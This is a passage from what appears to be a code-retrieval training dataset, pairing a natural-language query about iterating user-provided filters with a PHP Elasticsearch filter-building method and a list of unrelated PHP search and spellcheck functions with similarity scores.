\".strlen($post).\" \\r\\n\";\n $header .= \"Content-transfer-encoding: text \\r\\n\";\n $header .= \"Request-number: 1 \\r\\n\";\n $header .= \"Document-type: Request \\r\\n\";\n $header .= \"Interface-Version: Test 1.4 \\r\\n\";\n $header .= \"Connection: close \\r\\n\\r\\n\";\n $header .= $post;\n\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL,$url);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_TIMEOUT, 4);\n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);\n\n $data = curl_exec($ch);\n curl_close($ch);\n\n $xml = new SimpleXMLElement($data);\n\n $results = array();\n\n foreach($xml->c as $correction) {\n $suggestions = explode(\"\\t\", (string)$correction);\n $results[] = array('offset'=>(String) $correction['o'],'length'=>(string) $correction['l'],'best'=>$suggestions[0],'all'=>$suggestions);\n }\n\n return $results;\n }", "function search( $queryText, $offset, $limit, &$SearchTotalCount, $params = array() )\r\n {\r\n $db =& eZDB::globalDatabase();\r\n\r\n $queryText = $db->escapeString( $queryText );\r\n\r\n $query = new eZQuery( \"eZForum_Word.Word\", $queryText );\r\n $query->setIsLiteral( true );\r\n $query->setStopWordColumn( \"eZForum_Word.Frequency\" );\r\n $searchSQL = $query->buildQuery();\r\n\r\n $groupString = \"eZForum_Forum.GroupID=0\";\r\n\r\n $user =& eZUser::currentUser();\r\n if ( $user )\r\n {\r\n $groups =& $user->groups( false );\r\n $i = 0;\r\n\r\n foreach ( $groups as $userGroup )\r\n {\r\n $groupString .= \" OR \";\r\n\r\n $groupString .= \"eZForum_Forum.GroupID='\" . $userGroup . \"'\";\r\n $i++;\r\n }\r\n }\r\n\r\n // special search for MySQL, mimic subselects ;)\r\n if ( $db->isA() == \"mysql\" )\r\n {\r\n $queryArray = explode( \" \", trim( $queryText ) );\r\n\r\n $db->query( \"CREATE TEMPORARY TABLE eZForum_SearchTemp( MessageID int )\" );\r\n\r\n $count = 1;\r\n foreach ( $queryArray as $queryWord )\r\n {\r\n $queryWord = trim( $queryWord );\r\n\r\n $searchSQL = \" ( eZForum_Word.Word = '$queryWord' AND eZForum_Word.Frequency < '0.9' ) \";\r\n\r\n $queryString = \"INSERT INTO eZForum_SearchTemp ( MessageID )\r\n SELECT DISTINCT eZForum_Message.ID AS MessageID\r\n FROM eZForum_Message,\r\n eZForum_MessageWordLink,\r\n eZForum_Word,\r\n eZForum_Forum\r\n WHERE $searchSQL AND\r\n ( eZForum_Message.ID=eZForum_MessageWordLink.MessageID\r\n AND eZForum_MessageWordLink.WordID=eZForum_Word.ID ) AND\r\n eZForum_Message.ForumID=eZForum_Forum.ID AND\r\n ($groupString)\r\n ORDER BY eZForum_MessageWordLink.Frequency\";\r\n\r\n $db->query( $queryString );\r\n // check if this is a stop word\r\n $queryString = \"SELECT Frequency FROM eZForum_Word WHERE Word='$queryWord'\";\r\n\r\n $db->query_single( $WordFreq, $queryString, array( \"LIMIT\" => 1 ) );\r\n\r\n if ( $WordFreq[\"Frequency\"] <= 0.7 )\r\n $count += 1;\r\n }\r\n $count -= 1;\r\n\r\n $queryString = \"SELECT MessageID, Count(*) AS Count FROM eZForum_SearchTemp GROUP BY MessageID HAVING Count='$count'\";\r\n\r\n $db->array_query( $message_array, $queryString );\r\n $SearchTotalCount = count( $message_array );\r\n $message_array =& array_slice( $message_array, $offset, $limit );\r\n\r\n $db->query( \"DROP TABLE eZForum_SearchTemp\" );\r\n }\r\n else\r\n {\r\n $queryString = \"SELECT DISTINCT eZForum_Message.ID AS MessageID\r\n FROM eZForum_Message,\r\n eZForum_MessageWordLink,\r\n eZForum_Word,\r\n eZForum_Forum\r\n WHERE\r\n $searchSQL\r\n AND\r\n ( eZForum_Message.ID=eZForum_MessageWordLink.MessageID\r\n AND eZForum_MessageWordLink.WordID=eZForum_Word.ID )\r\n eZForum_Message.ForumID=eZForum_Forum.ID AND\r\n ($groupString)\r\n ORDER BY eZForum_MessageWordLink.Frequency\";\r\n\r\n $db->array_query( $message_array, $queryString );\r\n $SearchTotalCount = count( $message_array );\r\n $message_array =& array_slice( $message_array, $offset, $limit );\r\n }\r\n\r\n for ( $i = 0; $i < count( $message_array ); $i++ )\r\n {\r\n $return_array[$i] = new eZForumMessage( $message_array[$i][$db->fieldName( \"MessageID\" )], false );\r\n }\r\n\r\n return $return_array;\r\n }", "function check($text)\n {\n $this->init();\n\n if (!$this->plink) {\n return array();\n }\n\n // tokenize\n $text = preg_split($this->separator, $text, NULL, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_OFFSET_CAPTURE);\n\n $diff = 0;\n $matches = array();\n\n foreach ($text as $w) {\n $word = trim($w[0]);\n $pos = $w[1] - $diff;\n $len = mb_strlen($word);\n\n // skip exceptions\n if ($this->dictionary->is_exception($word)) {\n }\n else if (!pspell_check($this->plink, $word)) {\n $suggestions = pspell_suggest($this->plink, $word);\n\n if (sizeof($suggestions) > self::MAX_SUGGESTIONS) {\n $suggestions = array_slice($suggestions, 0, self::MAX_SUGGESTIONS);\n }\n\n $matches[] = array($word, $pos, $len, null, $suggestions);\n }\n\n $diff += (strlen($word) - $len);\n }\n\n $this->matches = $matches;\n return $matches;\n }", "function matching_words($query_words_list, $protein_subject_words_list) {\n $index = 0;\n $query_size = count($query_words_list);\n $matching_words_indices = array();\n\n // go through the whole query words list\n while ($index < $query_size) {\n // key — Fetch a key from an array\n $query_word_key = key($query_words_list[$index]);\n $db_index = 0;\n $db_size = count($protein_subject_words_list);\n\n // go through each database word list\n while ($db_index < $db_size) {\n $word_index_match = array();\n $db_word_key = key($protein_subject_words_list[$db_index]);\n // Returns < 0 if str1 is less than str2; > 0 if str1 is greater \n // than str2, and 0 if they are equal.\n $word_match = strcmp($query_word_key, $db_word_key);\n // if query word match with database then push it to array\n if ($word_match == 0) {\n $query_word_index = $query_words_list[$index][$query_word_key];\n $db_word_index = $protein_subject_words_list[$db_index][$db_word_key];\n $word_index_match = array($query_word_index, $db_word_index);\n array_push($matching_words_indices, $word_index_match);\n }\n $db_index++;\n } // end db\n $index++;\n }\n\n return $matching_words_indices;\n}", "function searchSQL ($aRequest) {\n $sVersion = DBUtil::getOneResultKey(\"SHOW VARIABLES LIKE 'version'\", \"Value\");\n if ((int)substr($sVersion, 0, 1) >= 4) {\n $boolean_mode = \"IN BOOLEAN MODE\";\n } else {\n $boolean_mode = \"\";\n }\n\n $p = array();\n $p[0] = \"MATCH(DDCT.body) AGAINST (? $boolean_mode)\";\n\t$p[1] = KTUtil::phraseQuote($aRequest[$this->getWidgetBase()]);\n \n // handle the boolean \"not\" stuff.\n $want_invert = KTUtil::arrayGet($aRequest, $this->getWidgetBase() . '_not');\n if (is_null($want_invert) || ($want_invert == \"0\")) {\n return $p;\n } else {\n $p[0] = '(NOT (' . $p[0] . '))';\n } \n \n return $p;\n }", "function testSearch2(): void\n {\n // Das Streben nach Glück | The Pursuit of Happyness\n // https://www.imdb.com/find?s=all&q=Das+Streben+nach+Gl%FCck\n\n Global $config;\n $config['http_header_accept_language'] = 'de-DE,en;q=0.6';\n\n $data = engineSearch('Das Streben nach Glück', 'imdb', false);\n $this->assertNotEmpty($data);\n\n $data = $data[0];\n // $this->printData($data);\n\n $this->assertEquals('imdb:0454921', $data['id']);\n $this->assertMatchesRegularExpression('/Das Streben nach Glück/', $data['title']);\n }", "public function matchedDocs() {\n\t\tthrow new \\Core\\Search\\Lucene\\Exception ( 'Wildcard query should not be directly used for search. Use $query->rewrite($index)' );\n\t}", "public function find();", "public function searchAction() {\n $search = $this->getParam('search');\n\n\n $queryBuilder = new Application_Util_QueryBuilder($this->getLogger());\n\n $queryBuilderInput = array(\n 'searchtype' => 'simple',\n 'start' => '0',\n 'rows' => '10',\n 'sortOrder' => 'desc',\n 'sortField'=> 'score',\n 'docId' => null,\n 'query' => $search,\n 'author' => '',\n 'modifier' => 'contains_all',\n 'title' => '',\n 'titlemodifier' => 'contains_all',\n 'persons' => '',\n 'personsmodifier' => 'contains_all',\n 'referee' => '',\n 'refereemodifier' => 'contains_all',\n 'abstract' => '',\n 'abstractmodifier' => 'contains_all',\n 'fulltext' => '',\n 'fulltextmodifier' => 'contains_all',\n 'year' => '',\n 'yearmodifier' => 'contains_all',\n 'author_facetfq' => '',\n 'languagefq' => '',\n 'yearfq' => '',\n 'doctypefq' => '',\n 'has_fulltextfq' => '',\n 'belongs_to_bibliographyfq' => '',\n 'subjectfq' => '',\n 'institutefq' => ''\n );\n\n\n $query = $queryBuilder->createSearchQuery($queryBuilderInput, $this->getLogger());\n\n $result = array();\n\n $searcher = new Opus_SolrSearch_Searcher();\n try {\n $result = $searcher->search($query);\n }\n catch (Opus_SolrSearch_Exception $ex) {\n var_dump($ex);\n }\n\n $matches = $result->getReturnedMatches();\n\n $this->view->total = $result->getAllMatchesCount();\n $this->view->matches = $matches;\n }", "function spellchecker_google_suggest_arr($text) {\n\n $lang = $_REQUEST['lang'] ? $_REQUEST['lang'] : variable_get('spellchecker_pspell_default_language', PSPELL_DEFAULT_LANGUAGE);\n $ignoredups = $_REQUEST['ignoredups'];\n $ignoredigits = $_REQUEST['ignoredigits'] ? $_REQUEST['ignoredigits'] : variable_get('spellchecker_ignoredigits', TRUE);\n $ignoreallcaps = $_REQUEST['ignoreallcaps'] ? $_REQUEST['ignoreallcaps'] : !(int)variable_get('spellchecker_case_sensitive', TRUE);\n// $url = GOOGLE_SPELL_URL; // . \"?lang=\" . $_GET['lang'];\n\n /* load classes */\n module_load_include('php', 'spellchecker', 'classes/SpellChecker');\n module_load_include('php', 'spellchecker', 'classes/GoogleSpell');\n\n /* send request */\n $config = NULL;\n $spell = new GoogleSpell($config);\n $matches_preg_output = $spell->_getMatches($lang, $text, $ignoredigits, $ignoreallcaps, $ignoredups);\n\n // Get the contents of the <c> tag\n $matches = array_pop($matches_preg_output[0]);\n\n // Strip line feeds returned from google\n $matches = preg_replace('/[\\t]|[\\n]|[\\r]|[\\f]/', ' ', $matches);\n\n return array($text => explode(' ', $matches));\n}", "function dvdinsideSearch($title)\n{\n global $dvdinsideServer, $cache;\n global $CLIENTERROR;\n\n $post = 'action=new&suchen=Suchen&title='.urlencode($title);\n\n $resp = httpClient($dvdinsideServer.'/db/search.php', $cache, array('post' => $post));\n\n if (!$resp['success']) $CLIENTERROR .= $resp['error'].\"\\n\";\n\n if (preg_match_all('/<a href=\\\"details.php\\?id\\=(.+?)\\\">(.+?)<\\/a>.+?<a href=\\\"studio_list.php.+?\\\">(.+?)<\\/a>.+?<td align=\\\"center\\\">(.+?)<\\/td>/is', $resp['data'], $data, PREG_SET_ORDER)) \n {\n foreach ($data as $row) \n {\n if (ereg('<img', $row[2])) continue;\n $info['id'] = \"DI\".trim($row[1]);\n $info['title'] = trim($row[2]);\n $info['studio'] = trim($row[3]);\n $info['datum'] = trim($row[4]);\n $ary[] = $info;\n }\n }\n\n return $ary;\t\n}", "public function searchForPlayList();" ]
[ "0.5971441", "0.594466", "0.58058834", "0.58058834", "0.5618329", "0.5554785", "0.5472696", "0.53907496", "0.5350184", "0.5350184", "0.53470886", "0.53184813", "0.52580357", "0.52185607", "0.5202536", "0.51975316", "0.5169069", "0.5161162", "0.51554674", "0.51471156", "0.5123345", "0.5093992", "0.5059026", "0.5044622", "0.5027883", "0.50198126", "0.5017618", "0.50137043", "0.5009268", "0.5008585", "0.50013673", "0.4985517", "0.49782303", "0.49461395", "0.49402344", "0.4939977", "0.49277955", "0.49231365", "0.49196544", "0.49170002", "0.49160364", "0.4913707", "0.49060777", "0.4904931", "0.49004343", "0.48992392", "0.48960614", "0.48732272", "0.48628184", "0.48605612", "0.4849524", "0.48488876", "0.48477778", "0.4844044", "0.48381746", "0.48351026", "0.4828028", "0.48055273", "0.4804544", "0.48042232", "0.47871637", "0.4785874", "0.47769102", "0.4775014", "0.47636846", "0.47618887", "0.47605994", "0.47599456", "0.4758688", "0.47564846", "0.4754573", "0.47463706", "0.4742461", "0.47366375", "0.47316924", "0.47258088", "0.47240183", "0.47231647", "0.47187316", "0.4716116", "0.47159544", "0.47142032", "0.4713628", "0.4713628", "0.47122", "0.47117522", "0.47108358", "0.4709962", "0.47091207", "0.4708567", "0.47020417", "0.46989265", "0.4698463", "0.46962133", "0.46934015", "0.46931434", "0.46891436", "0.46884134", "0.46807298" ]
0.49122852
43
Iterate all userprovided filters
private function filterMatches(array $filters, array $matches): array { foreach ($filters as $fieldName => $filter) { try { $field = $this->fieldProvider->getField($fieldName); } catch (FieldDoesNotExistException $e) { // The field does not exist. This normally never happens. Skip silently. continue; } $values = isset($filter['v']) ? (array) $filter['v'] : []; if (0 == count($values)) { // Apparently no filter value provided continue; } $filterMatches = []; foreach ($values as $key => $value) { if ('' === $value) { continue; } if ('integer' === $field->getType() && in_array($key, ['min', 'max'], true) && is_numeric($value)) { $filterMatches[] = [ 'range' => [ $field->getName() => [ 'min' == $key ? 'gte' : 'lte' => $value, ], ], ]; } else { $fieldNameForSearch = $fieldName; if ('string' == $field->getType()) { $fieldNameForSearch .= '.keyword'; } $filterMatches[] = ['term' => [$fieldNameForSearch => $value]]; } } if (count($filterMatches) > 0) { if ('integer' === $field->getType()) { // Integer fields must use AND, because you want e.g. the page count to be between min AND max. $matches[] = [ 'bool' => [ 'must' => $filterMatches, ], ]; } else { $matches[] = [ 'bool' => [ 'should' => $filterMatches, 'minimum_should_match' => 1, ], ]; } } } return $matches; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "abstract public function filters();", "private function filters() {\n\n\n\t}", "abstract protected function getFilters();", "protected function processFilters()\n {\n $this->filters = [];\n foreach ($this->params as $key => $value) {\n $this->parser->setAlias('_' . $this->contentType);\n $filter = $this->parser->getFilter($key, $value);\n if ($filter) {\n $this->addFilter($filter);\n }\n }\n }", "public function filterAll($filter, $args=[]);", "public function applyFilters() {\n\t\tforeach ($this->filters as $filter) {\n\t\t\t$filter->apply($this);\n\t\t}\n\t\t$this->removeFilters();\n\t}", "public function getAllFilters();", "function get_filters($init_data = true) {\n //no filters by default\n return array();\n }", "abstract public function prepareFilters();", "public function getFilters();", "private static function _getFilter() {}", "public function register_filters() {\n\n\t\t}", "public function filtrationElements(){\n foreach(self::getElements() as $key=>$items){\n if(\n NULL!==$items->getFilters() &&\n is_array($items->getFilters()) &&\n count($items->getFilters())\n ){\n self::filtrationElement($items);\n }\n \n }\n }", "public function filtering();", "protected static function filtes()\n {\n /*\n * The filters fetches are transported\n * to router Bus calls\n **/\n }", "function get_init_filters($filtros = array(), $valores = array()){\n $res = array();\n foreach ($filtros as $filtro){\n $res[$filtro] = get_cfilter($filtro, $valores);\n }\n return $res;\n}", "public function filters()\n {\n return [\n \n ];\n }", "public function getFilters(): array;", "public function filter() {\n\t\t$args = func_get_args();\n\t\t$r = Core_Types::reflection_for($this->sets[':default']);\n\t\t$m = $r->getMethod('filter');\n\t\treturn $m->invokeArgs($this->sets[':default'],$args);\n\t}", "public function global_filtering()\n {\n // filtering $_GET\n if (is_array(ctx()->getRequest()->get()) && ! empty(ctx()->getRequest()->get()))\n {\n foreach (ctx()->getRequest()->get() as $key => $val)\n ctx()->getRequest()->get($this->_clean_input_keys($key) , $this->_clean_input_data($val));\n }\n\n // filtering $_POST\n if (is_array(ctx()->getRequest()->post()) && ! empty(ctx()->getRequest()->post()))\n {\n foreach (ctx()->getRequest()->post() as $key => $val){\n ctx()->getRequest()->post($this->_clean_input_keys($key), $this->_clean_input_data($val));\n }\n }\n\n\n // filtering $_COOKIE\n if (is_array(ctx()->getRequest()->cookie()) && ! empty(ctx()->getRequest()->cookie()))\n {\n foreach (ctx()->getRequest()->cookie() as $key => $val)\n ctx()->getRequest()->cookie($this->_clean_input_keys($key), $this->_clean_input_data($val));\n }\n\n // filtering $_REQUEST\n if (is_array(ctx()->getRequest()->request()) && ! empty(ctx()->getRequest()->request()))\n {\n foreach (ctx()->getRequest()->request() as $key => $val){\n ctx()->getRequest()->request($this->_clean_input_keys($key), $this->_clean_input_data($val));\n }\n }\n }", "private function defineFilters() {\n\n // init local filters variable as empty array\n $filters = [];\n\n // parse each filter to apply\n // and add the valid once to filters\n\n // filters by name\n if (isset($_GET['s'])) {\n\n $filters['name'] = $_GET['s'];\n\n }\n\n // filter by categories\n if (isset($_GET['c'])) {\n\n $categories = explode(\"_\", $_GET['c']);\n foreach ($categories as $key => $value) {\n if (is_numeric($value)) {\n $filters['categories'][] = $value;\n }\n }\n\n }\n\n // filter by areas\n if (isset($_GET['a'])) {\n\n $areas = explode(\"_\", $_GET['a']);\n foreach ($areas as $key => $value) {\n if (is_numeric($value)) {\n $filters['areas'][] = $value;\n }\n }\n\n }\n\n // Check if any filter has been set\n\n if (count($filters)>0) {\n\n $this->filters = $filters;\n return true;\n\n }\n\n\n return false;\n\n }", "function xh_listFilters()\r\n\t{\r\n\t}", "public function GetFilters ();", "function add_filters()\n {\n }", "public function filters(){\r\r\n\t\treturn CMap::mergeArray(parent::filters(),array(\r\r\n\t\t\t\r\r\n\t\t));\r\r\n\t}", "function _setAllFilters( $objKey )\n {\n $this->_activateFilterLevel($objKey);\n\n // add all pre and post filters, dont use references here, so the filters are each an instance of its own\n // this is necessary since the options might be changed by any xml-config!\n if( sizeof($this->_preFilters) )\n foreach( $this->_preFilters as $aFilter )\n $this->_objectPool[$objKey]->registerPrefilter($aFilter[0],$aFilter[1]);\n if( sizeof($this->_postFilters) )\n foreach( $this->_postFilters as $aFilter )\n $this->_objectPool[$objKey]->registerPostfilter($aFilter[0],$aFilter[1]);\n }", "public static function filter($filters, &$data) {\n $params = array(&$data);\n foreach ($filters as $callback) {\n $continue = self::execute($callback, $params);\n if ($continue === false) break;\n }\n }", "protected function applyFiltering()\n\t{\n\t\tif (!$this->hasFilters()) return;\n\n\t\tparse_str($this->filters, $list);\n\t\tforeach ($list as $column => $value) {\n\t\t\tif ($value !== '') {\n\t\t\t\t$this[$column]->applyFilter($value);\n\t\t\t}\n\t\t}\n\t}", "function getFilters() {\r\n global $filterList;\r\n foreach ($filterList as $filter) {\r\n echo getSelectionOptions($filter);\r\n }\r\n echo '<button type=\"submit\" value=\"submit\">Save Filters</button>';\r\n }", "public function filter( )\n {\n global $UNDERQL;\n $l_args_num = func_num_args( );\n if ( $l_args_num < 3 )\n return false;\n $filter_name = func_get_arg( 0 );\n\n $l_filter_callback = $UNDERQL['filter']['prefix'] . $filter_name;\n\n if ( !function_exists( $l_filter_callback ))\n return false;\n\n switch(func_get_arg(1))\n {\n case UQL_FILTER_IN:\n\n for ( $i = 2; $i < $l_args_num; $i++ )\n {\n if(!isset($this->in_filters[$this->table_name][func_get_arg( $i )]))\n $this->in_filters[$this->table_name][func_get_arg( $i )] = array($filter_name);\n else\n {\n $_temp = $this->in_filters[$this->table_name][func_get_arg( $i )];\n $_temp[@count($_temp)] = $filter_name;\n\n $this->in_filters[$this->table_name][func_get_arg( $i )] = $_temp;\n }\n }\n return true;\n\n case UQL_FILTER_OUT:\n for ( $i = 2; $i < $l_args_num; $i++ )\n {\n if(!isset($this->out_filters[$this->table_name][func_get_arg( $i )]))\n {\n $this->out_filters[$this->table_name][func_get_arg( $i )] = array($filter_name);\n }\n else\n {\n $_temp = $this->out_filters[$this->table_name][func_get_arg( $i )];\n $_temp[@count($_temp)] = $filter_name;\n\n $this->out_filters[$this->table_name][func_get_arg( $i )] = $_temp;\n\n }\n }\n return true;\n default : return false;\n }\n }", "public function getFilters(): FilterCollection;", "private function loadFiltersFromAttributes(): void\n {\n $request = RequestUtil::getMainRequest($this->requestStack) ?? Request::createFromGlobals();\n foreach ($request->attributes->getIterator() as $key => $value) {\n $key = (string) $key;\n if ($this->getFilterByName($key) === null) {\n continue;\n }\n\n $filterField = new FilterField();\n $filterField->setName($key)\n ->setValue($value)\n ->setComparison(Api\\Filter::COMPARISON_EQUALS)\n ->setFilter($this->getFilterByName($key));\n\n $this->filterFields[] = $filterField;\n }\n }", "public function getFilters(): array;", "public function setFilters($args) {\n\t\tforeach($args as $argName => $argValue) {\n\t\t\tif($argValue !== null) {\n\t\t\t\t$methodName = 'add'.ucfirst($argName).'Filter';\n\t\t\t\tif(method_exists($this,$methodName)) {\n\t\t\t\t\t$this->$methodName($argValue, $args);\n\t\t\t\t} else {\n\t\t\t\t\t$this->addFilter($argName, $argValue);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "protected abstract function filter();", "public function addFilters()\n {\n }", "public function applyFilters()\n {\n $filters = sfConfig::get('app_sft_papi_plugin_filters_sequence');\n \n if (!(is_array($filters) && count($filters) > 0))\n {\n return $this;\n }\n\n foreach($filters as $filter)\n { \n $className = $filter['class_name'];\n if(!class_exists($className))\n {\n throw new Exception('The filter \"'.$className. '\" does not exists');\n }\n\n $configuration = $filter['configuration'];\n $this -> attributes = call_user_func(array($className ,'execute'), \n $this -> attributes, $configuration);\n } \n return $this;\n }", "public function filters()\n {\n return array(\n 'value' => array(\n array(array($this, 'check_for_array_or_object')),\n )\n );\n }", "public function has_filters()\n {\n }", "protected function filterItems()\n\t{\n\t\t// must be in this order\n\t\t$this->applyDefaultFiltering();\n\t\t$this->applyDefaultSorting();\n\t\t$this->applyItems();\n\t\t$this->applyFiltering();\n\t\t$this->applySorting();\n\t\t$this->applyPaging();\n\t}", "public function filters()\n\t{\n\t\treturn array(\n\t\t\t'amount' => array(\n\t\t\t\tarray('Num::filter_number')\n\t\t\t),\n\t\t\t'price' => array(\n\t\t\t\tarray('Num::filter_number')\n\t\t\t)\n\t\t);\n\t}", "public function filter($filterChain);", "public function filterAfterAll($filter);", "public function filtersExist();", "public function getAllData(array $filters = []);", "public function filter();", "public function filter($data);", "public function processFilter()\n {\n call_user_func($this->builder, $this);\n\n return $this->filter->execute();\n }", "public function & GetFilters () {\n\t\t$filters = [];\n\t\tforeach ($this->filters as $direction => $handler) \n\t\t\t$filters[$direction] = $handler[1];\n\t\treturn $filters;\n\t}", "public function requestFilters()\n\t{\n\t\t$this->services->Common->ajaxCheck();\n\t\t$this->timber->filter->issueDetect();\n\t\t$this->timber->filter->configLibs();\n\t}", "public function getFilterParameters(): array;", "function apply_filters( $name ) {\n\n\t\t$args = func_get_args();\n\t\tarray_unshift( $args, 'filter' );\n\n\t\treturn call_user_func_array( array( $this, 'api'), $args );\n\t}", "public function allFilter($params)\n {\n $params = $this->elementFilter($params);\n $params = $this->elementAggregateFilter($params);\n $params = $this->elementCollectionFilter($params);\n return $params;\n }", "public function buildFilters()\n {\n $this->addFilter('name', new ORM\\StringFilterType('name'), 'media.adminlist.configurator.filter.name');\n $this->addFilter('contentType', new ORM\\StringFilterType('contentType'), 'media.adminlist.configurator.filter.type');\n $this->addFilter('updatedAt', new ORM\\NumberFilterType('updatedAt'), 'media.adminlist.configurator.filter.updated_at');\n $this->addFilter('filesize', new ORM\\NumberFilterType('filesize'), 'media.adminlist.configurator.filter.filesize');\n }", "public function registerFilters()\n {\n foreach ($this->getFilters() as $filter) {\n try {\n $this->smarty->registerFilter($filter->getType(), $filter->getCallback());\n } catch (SmartyException $e) {\n if (null !== $this->logger) {\n $this->logger->warn(sprintf(\"SmartyException caught: %s.\", $e->getMessage()));\n }\n }\n }\n }", "public function test_filters($my_filters) {\n return $this->getScenario()->runStep(new \\Codeception\\Step\\Action('test_filters', func_get_args()));\n }", "public function getFilters()\n {\n return array();\n }", "public function collectFilterValues ($save_filters=true )\n\t{\n\t\tparent::collectFilterValues($save_filters);\n\t\tif (!isset($this->page->value)) {\n\t\t\t$this->page->value = 1;\n\t\t}\n\t\tif (!isset($this->listingsLength->value)) {\n\t\t\t$this->listingsLength->value = $this->DEFAULT_PAGE_LEN();\n\t\t}\n\t\tif ($this->next->value==\"\") {\n\t\t\t$this->next->value = \"view\";\n\t\t}\n\t\t$this->gallery->collectFilterValues($save_filters);\n\t}", "public function withFilters(array $filters = array());", "public function setupFilterRules()\n { }", "function _get_filters(){\n $flt = array();\n $filters = array();\n\n if(!isset($_REQUEST['dataflt'])){\n $flt = array();\n }elseif(!is_array($_REQUEST['dataflt'])){\n $flt = (array) $_REQUEST['dataflt'];\n }else{\n $flt = $_REQUEST['dataflt'];\n }\n foreach($flt as $key => $line){\n // we also take the column and filtertype in the key:\n if(!is_numeric($key)) $line = $key.$line;\n $f = $this->_parse_filter($line);\n if(is_array($f)){\n $f['logic'] = 'AND';\n $filters[] = $f;\n }\n }\n return $filters;\n }", "function _applyFilter($user, $info, $filter) {\n\t\tforeach($filter as $key => $pattern) {\n\t\t\t//sanitize pattern for use as regex\n\t\t\t$pattern = '/'.str_replace('/', '\\/', $pattern).'/i';\n\t\t\t\n\t\t\tif($key == 'user') {\n\t\t\t\tif(!preg_match($pattern, $user)) return false;\n\t\t\t} else if($key == 'grps') {\n\t\t\t\tif(!count(preg_grep($pattern, $info['grps']))) { \n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif(!preg_match($pattern, $info[$key])) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}", "private function loadFilters() {\n\n // buscando usuários\n $companyId = $this->Session->read('CompanyLoggedIn.Company.id');\n $params = array(\n 'CompaniesUser' => array(\n 'fields' => array(\n 'CompaniesUser.user_id'\n ),\n 'conditions' => array(\n 'CompaniesUser.status' => 'ACTIVE'\n )\n )\n );\n $userIds = $this->Utility->urlRequestToGetData('companies', 'list', $params);\n if (!empty($userIds) && empty($userIds ['status'])) {\n $_SESSION ['addOffer'] ['userIds'] = $userIds;\n\n // conta público alvo\n $this->offerFilters ['target'] = count($userIds);\n\n // busca os filtros\n foreach ($this->offerFilters as $key => $value) {\n if ($key == 'gender') {\n $Paramsgenero = array(\n 'CompaniesUser' => array(\n 'fields' => array(\n \"COUNT(User.id) AS count\",\n \"User.gender AS filter\"\n ),\n 'group' => array(\n \"User.gender\"\n ),\n 'order' => array(\n 'COUNT(User.id)' => 'DESC'\n )\n ),\n 'User' => array()\n );\n $filter = $this->Utility->urlRequestToGetData('users', 'all', $Paramsgenero);\n } else if ($key == 'age_group') {\n // busca faixa etária\n $query = \"SELECT\n\t\t\t\t\t SUM(IF(age < 20,1,0)) AS '{$this->ageGroupRangeKeys['0_20']}',\n\t\t\t\t\t SUM(IF(age BETWEEN 20 AND 29,1,0)) AS '{$this->ageGroupRangeKeys['20_29']}',\n\t\t\t\t\t SUM(IF(age BETWEEN 30 AND 39,1,0)) AS '{$this->ageGroupRangeKeys['30_39']}',\n\t\t\t\t\t SUM(IF(age BETWEEN 40 AND 49,1,0)) AS '{$this->ageGroupRangeKeys['40_49']}',\n\t\t\t\t\t SUM(IF(age BETWEEN 50 AND 59,1,0)) AS '{$this->ageGroupRangeKeys['50_59']}',\n\t\t\t\t\t SUM(IF(age >=60, 1, 0)) AS '{$this->ageGroupRangeKeys['60_120']}',\n\t\t\t\t\t SUM(IF(age IS NULL, 1, 0)) AS '{$this->ageGroupRangeKeys['empty']}'\n\t\t\t\t\t\tFROM (SELECT YEAR(CURDATE())-YEAR(birthday) AS age FROM facebook_profiles) AS derived\";\n\n $filterParams = array(\n 'FacebookProfile' => array(\n 'query' => $query\n )\n );\n $filter = $this->Utility->urlRequestToGetData('users', 'query', $filterParams);\n } else {\n $filterParams = array(\n 'FacebookProfile' => array(\n 'fields' => array(\n \"COUNT(FacebookProfile.{$key}) AS count\",\n \"FacebookProfile.{$key} AS filter\"\n ),\n 'conditions' => array(\n 'FacebookProfile.user_id' => $userIds\n ),\n 'group' => array(\n \"FacebookProfile.{$key}\"\n ),\n 'order' => array(\n \"FacebookProfile.{$key}\" => 'ASC'\n )\n )\n );\n $filter = $this->Utility->urlRequestToGetData('users', 'all', $filterParams);\n }\n if (!empty($filter) && empty($filter ['status'])) {\n $this->offerFilters [$key] = $this->formatOfferFilters($filter);\n }\n }\n return $this->offerFilters;\n } else {\n $this->Session->setFlash('Houve um problema para carregar os filtros. Tente novamente.');\n }\n }", "protected function get_filters() {\n $langautoass = get_string('auto_assign', 'local_elisprogram');\n $filters = array(\n new deepsight_filter_usersetuser_autoassigned($this->DB, 'autoass', $langautoass, array(), $this->endpoint)\n );\n $filters = array_merge(parent::get_filters(), $filters);\n return $filters;\n }", "private function filterFields() {\n\n // Initialize an associate array of our field name and value pairs.\n $values = array();\n\n // Initialize an associate array of our field name and filters pairs.\n $filters = array();\n\n // Populate the arrays.\n foreach ($this->fields as $field) {\n if ($field->getFilters()) {\n $values[$field->getName()] = $field->getValue();\n $filters[$field->getName()] = $field->getFilters();\n }\n }\n\n // Load an instance of GUMP to use to sanitize and filter our field values.\n $gump = new \\GUMP();\n\n // Sanitize the field values.\n $values = $gump->sanitize($values);\n\n // Pass the arrays to GUMP and let it do the heavy-lifting.\n $values = $gump->filter($values, $filters);\n\n // Set the values of all fields to their filtered values.\n foreach ($values as $name => $value) {\n $this->passValue($name, $value);\n }\n }", "public static function retrieveAll()\n {\n if (!$_GET['a']) {\n //special case: if on the main home page, don't retrieve any filters (but leave them in the db in case user goes back to that category)\n return;\n }\n $db = DataAccess::getInstance();\n $session = geoSession::getInstance()->initSession();\n $sql = \"SELECT * FROM \" . geoTables::browsing_filters . \" WHERE `session_id` = ?\";\n $result = $db->Execute($sql, array($session));\n foreach ($result as $stored) {\n $filter = self::getFilter($stored['target']);\n if (!$filter || $stored['category'] != self::getActiveCategory()) {\n //this filter belongs to a different category. trash it and move on.\n $sql = \"DELETE FROM \" . geoTables::browsing_filters . \" WHERE `session_id` = ? AND `target` = ?\";\n $db->Execute($sql, array($session, $stored['target']));\n continue;\n }\n $type = $filter->getType();\n switch ($type) {\n case self::BOOL:\n case 